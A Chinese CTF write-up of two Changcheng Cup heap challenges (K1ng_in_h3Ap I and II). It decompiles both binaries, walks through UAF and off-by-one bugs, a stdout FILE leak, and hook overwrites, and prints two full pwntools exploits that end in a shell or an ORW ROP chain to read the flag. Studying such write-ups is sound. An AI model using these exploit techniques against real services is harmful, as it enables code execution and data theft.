长城杯出了三道题目,除了easy_vm之外剩下的两道都是libc题,一个是libc2.23,一个是libc2.27-1.4。正好可以从这两道题目中看一下新老版本的libc的利用方式。
K1ng_in_h3Ap_I
这道题目是一个入门级的题目,libc的版本是2.23
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
我们逆向分析一下这个程序,题目的逻辑很简单,是一个基础的菜单题目,一共有add,delete,edit三种,并且存在一个后门函数也就是输入666的时候触发调用,先来看一下后门函数
return printf("%p\n", (const void *)((unsigned __int64)&printf & 0xFFFFFF));
也就是我们可以直接通过后门函数获取得到libc基地址的低3字节,那么这个有什么用呢,我们接下来在看,继续分析其他的函数
add函数,申请我们输入指定size大小的内存堆块
_DWORD *add()
{
_DWORD *result; // rax
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint();
if ( index < 0 || index > 10 )
exit(0);
puts("input size:");
size = readint();
if ( size < 0 || size > 0xF0 )
exit(0);
buf_list[index] = malloc(size);
result = size_list;
size_list[index] = size;
return result;
}
但是这里size的大小不能超过0xf0。再来看一下delete函数
void sub_C41()
{
int index; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint();
if ( index < 0 || index > 10 || !*((_QWORD *)&buf_list + index) || !size_list[index] )
exit(0);
free(*((void **)&buf_list + index));
}
这里delete函数直接释放了我们在add函数中申请的内存空间,但是这里没有将buf_list和size_list中的相应位置清空,导致存在一个UAF的漏洞,再看一下edit函数
__int64 edit()
{
int index; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint();
if ( index < 0 || index > 15 || !buf_list[index] )
exit(0);
puts("input context:");
return do_edit(buf_list[index], (unsigned int)size_list[index]);
}
edit函数这里调用了一个do_edit函数来进行内容的更改,函数如下
unsigned __int64 __fastcall do_edit(__int64 address, int size)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
int index; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
index = 0;
do
{
if ( !(unsigned int)read(0, &buf, 1uLL) )
exit(0);
if ( buf == 10 )
break;
*(_BYTE *)(address + index++) = buf;
}
while ( index <= size );
return __readfsqword(0x28u) ^ v5;
}
这里可以看到存在一个off-by-one漏洞,当index=size的时候还是可以输入一个字节。
那么逆向分析结束之后发现了两个漏洞,一个是UAF漏洞,另一个是off-by-one漏洞,并且这里我们可以获取得到libc基地址的低3字节的内容。由于这里是libc2.23,我们直接考虑fastbin attack,覆写malloc_hook为one_gadget之后直接getshell。但是这里还是存在一个问题就是我们需要泄漏出libc全部的地址。
那么这里就攻击stdoout的结构体来泄漏地址了。我们看一下这个结构体。
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
}
如果我们可以申请堆块到stdout所在的内存空间,然后发泄write_base的低1字节为0,那么就会有很大的数据输出。问题是怎么申请内存空间到这里呢,别忘了前面有我们的UAF,我们可以通过UAF和fastbin做到一个任意地址分配,当然这个地址需要满足size的检查,这里我们恰好在stdout结构体的上方发现了一个位置
pwndbg> x/20gx 0x7ffff7dd2620-0x40
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>: 0x00007ffff7dd1660 0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad3887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x7ffff7dd2620-0x43
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad3887000000 0xfff7dd26a3000000
0x7ffff7dd262d <_IO_2_1_stdout_+13>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd263d <_IO_2_1_stdout_+29>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd264d <_IO_2_1_stdout_+45>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd265d <_IO_2_1_stdout_+61>: 0xfff7dd26a400007f 0x000000000000007f
0x7ffff7dd266d <_IO_2_1_stdout_+77>: 0x0000000000000000 0x0000000000000000
也就是-0x43的位置中的0x7f恰好可以作为0x70的fastbin堆块。但是我们现在只有低3字节,还需要在堆中提前布局一个libc附近的地址。这里可以直接利用main_arena的地址,利用off-by-one很容易做到堆块合并,进而释放到unsorted bin中,再次申请就能拿到一个libc附近的地址了,覆写该地址的低3字节即可申请到stdout结构体中泄漏出libc的地址
[DEBUG] Received 0xc0 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000020 87 38 ad fb 00 00 00 00 00 00 00 00 00 00 00 00 │·8··│····│····│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000040 00 26 dd f7 ff 7f 00 00 a3 26 dd f7 ff 7f 00 00 │·&··│····│·&··│····│
00000050 a3 26 dd f7 ff 7f 00 00 a3 26 dd f7 ff 7f 00 00 │·&··│····│·&··│····│
00000060 a4 26 dd f7 ff 7f 00 00 00 00 00 00 00 00 00 00 │·&··│····│····│····│
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000080 00 00 00 00 00 00 00 00 e0 18 dd f7 ff 7f 00 00 │····│····│····│····│
00000090 01 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff │····│····│····│····│
000000a0 00 00 00 31 2e 20 61 64 64 0a 32 2e 20 64 65 6c │···1│. ad│d·2.│ del│
000000b0 65 74 65 0a 33 2e 20 65 64 69 74 0a 3e 3e 20 0a │ete·│3. e│dit·│>> ·│
000000c0
拿到libc的地址之后就很好说了,利用相同的思路分配堆块到malloc_hook的位置,覆写其为one_gadget。但是这里存在一个问题就是one_gadget都不能使用,需要使用realloc进行栈帧的调整,小问题。
# -*- coding: utf-8 -*-
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xE52)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
else:
p = remote('47.104.175.110', 20066)
libc = ELF('./libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
def add(index, size):
p.sendlineafter(">> \n", "1")
p.sendlineafter("input index:\n", str(index))
p.sendlineafter("input size:\n", str(size))
def delete(index):
p.sendlineafter(">> \n", "2")
p.sendlineafter("input index:\n", str(index))
def edit(index, content):
p.sendlineafter(">> \n", "3")
p.sendlineafter("input index:\n", str(index))
p.sendafter("input context:\n", content)
def show():
p.sendlineafter(">> \n", "666")
ori_io = libc.sym['_IO_2_1_stdout_']
show()
libc.address = int(p.recvline().strip(), 16) - libc.sym['printf']
add(0, 0x68)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
payload = b"a"*0x68 + b"\xe1"
delete(1)
edit(0, payload)
delete(1)
add(6, 0x3)
payload = b"a"*0x68 + b"\x71"
edit(0, payload)
payload = p32(libc.sym['_IO_2_1_stdout_'] - 0x43)[:3] + b"\n"
edit(6, payload)
add(4, 0x68)
add(5, 0x68)
payload = b"\x00"*3 + p64(0)*6 + p64(0x00000000fbad2887 | 0x1000) + p64(0)*3 + b"\x00" + b"\n"
edit(5, payload)
p.recvuntil(p64(0x00000000fbad2887 | 0x1000))
p.recv(0x18)
libc.address = u64(p.recv(8)) + 0x20 - ori_io
delete(4)
payload = p64(libc.sym['__malloc_hook'] - 0x23) + b"\n"
edit(1, payload)
add(7, 0x68)
add(8, 0x68)
payload = b"\x00"*3 + p64(0)*1 + p64(one_gadget[1] + libc.address) + p64(libc.sym['realloc'] + 8) + b"\n"
edit(8, payload)
add(9, 0x68)
p.interactive()
K1ng_in_h3Ap_II
这个题目就是在I的基础上进行修改的,这里我们发现libc变成了2.27
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
在1.4中加入了对tcache的double free检查,我们先分析一下程序,这里在一开始加入了沙箱,我们不能直接getshell了
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
同样逻辑很简单,是一个菜单题目,共有add,delete,edit,show四个选项,首先看一下add函数
_DWORD *add()
{
_DWORD *result; // rax
int index; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
puts("input index:");
index = readint();
if ( index < 0 || index > 15 )
exit(0);
puts("input size:");
v2 = readint();
if ( v2 <= 15 || v2 > 0x60 )
exit(0);
buf_list[index] = malloc(v2);
result = size_list;
size_list[index] = v2;
return result;
}
这里对堆块的大小进行了限制,堆块的大小不能超过0x60个字节。但是其实这里没啥影响,因为这里是用的tcache,tcache从来不检查size。接着看一下delete函数
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
puts("input index:");
v0 = readint();
if ( v0 < 0 || v0 > 15 || !buf_list[v0] )
exit(0);
free((void *)buf_list[v0]);
}
这里还是老问题,在释放的时候没有对buf_list进行清空,因此这里存在UAF的漏洞。然后看一下edit函数
ssize_t edit()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("input index:");
v1 = readint();
if ( v1 < 0 || v1 > 15 || !buf_list[v1] )
exit(0);
puts("input context:");
return read(0, (void *)buf_list[v1], (int)size_list[v1]);
}
edit函数,这里直接用了read进行内容的修改,没有了之前的off-by-one漏洞。然后是show函数直接puts输出了堆块中的内容。
那么现在是tcache 1.4中存在一个UAF的漏洞,那么这里我们首先泄漏一下地址,首先堆地址很好泄漏,释放两个堆块,然后show一个堆块就能泄漏出堆地址来了,但是libc的地址怎么泄漏,我们无法申请0x90大小以上的堆块,因此不能直接将堆块释放到unsroted bin链表中。这里用到的一个思路就是sscanf函数在接收大量数据的时候会申请超大的内存堆块,而超大的内存堆块会触发堆空间合并的机制,即将fastbin中的堆块全部弄到bins链表中。
那么这里我们首先在fastbin中留一个堆块,然后触发堆合并,再show这个堆块,那么就能泄漏出libc的地址。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x555555603790 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x555555604200 --> 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555556042c0 (size : 0x1fd40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0
(0x50) tcache_entry[3](1): 0x555555603f20
(0x60) tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70
(0x70) tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0
(0x80) tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50
(0xd0) tcache_entry[11](1): 0x555555603310
(0xf0) tcache_entry[13](2): 0x555555603d00 --> 0x555555603670s
执行p.sendlineafter(">> \n", "1"*0x1100)
堆空间如下
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555556042c0 (size : 0x1fd40)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x020) smallbin[ 0]: 0x555555603790
(0x060) smallbin[ 4]: 0x555555604200 // 合并的堆块
(0x20) tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0
(0x50) tcache_entry[3](1): 0x555555603f20
(0x60) tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70
(0x70) tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0
(0x80) tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50
(0xd0) tcache_entry[11](1): 0x555555603310
(0xf0) tcache_entry[13](2): 0x555555603d00 --> 0x555555603670
触发堆合并之后就能泄漏出地址。泄漏出libc的地址接下来就好说了,我们直接利用UAF申请堆块到free_hook的位置,将其覆写为setcontext+53,进行栈迁移,执行ORW。但是这里存在一个问题就是我们最大能控制的大小为0x60,而ORW的链肯定大于0x60的,因此这里我们需要先执行一个read的rop,从而读取orw继续执行。
# -*- coding: utf-8 -*-
import syslog
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xE52)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
else:
p = remote('47.104.175.110', 20066)
libc = ELF('./libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
def add(index, size):
p.sendlineafter(">> \n", "1")
p.sendlineafter("input index:\n", str(index))
p.sendlineafter("input size:\n", str(size))
def delete(index):
p.sendlineafter(">> \n", "2")
p.sendlineafter("input index:\n", str(index))
def edit(index, content):
p.sendlineafter(">> \n", "3")
p.sendlineafter("input index:\n", str(index))
p.sendafter("input context:\n", content)
def show(index):
p.sendlineafter(">> \n", "4")
p.sendlineafter("input index:\n", str(index))
for i in range(9):
add(i, 0x58)
for i in range(8):
delete(i)
show(1)
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
p.sendlineafter(">> \n", "1"*0x1100)
show(7)
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x10 - libc.sym['__malloc_hook'] - 0xb0
for i in range(7, -1, -1):
add(i, 0x58)
delete(0)
delete(1)
edit(1, p64(libc.sym['__free_hook']))
add(1, 0x58)
add(9, 0x58)
# # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
# magic = 0x0000000000154930 + libc.address
p_rdi_r = 0x00000000000215bf + libc.address
p_rsi_r = 0x0000000000023eea + libc.address
p_rax_r = 0x0000000000043ae8 + libc.address
p_rdx_r = 0x0000000000001b96 + libc.address
syscall = 0x00000000000d2745 + libc.address
ret = 0x00000000000c0c9d + libc.address
setcontext = libc.sym['setcontext'] + 53
orw_address = heap_address + 0xc0
orw_read_address = orw_address + 0x48
flag_str_address = libc.sym['__free_hook'] + 0x10
flag_address = flag_str_address + 0x10
orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r, 0x30,
p_rax_r, 0,
syscall,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r, 0x30,
p_rax_r, 1,
syscall
])
orw_read = flat([
p_rdi_r, 0,
p_rsi_r, orw_read_address,
p_rdx_r, 0x200,
p_rax_r, 0,
syscall,
])
edit(9, p64(setcontext) + p64(0) + b"./flag")
payload = b"\x00"*0x40 + p64(orw_address) + p64(ret)
edit(2, payload)
edit(3, orw_read)
delete(1)
p.sendline(orw)
p.interactive()
发表评论
您还未登录,请先登录。
登录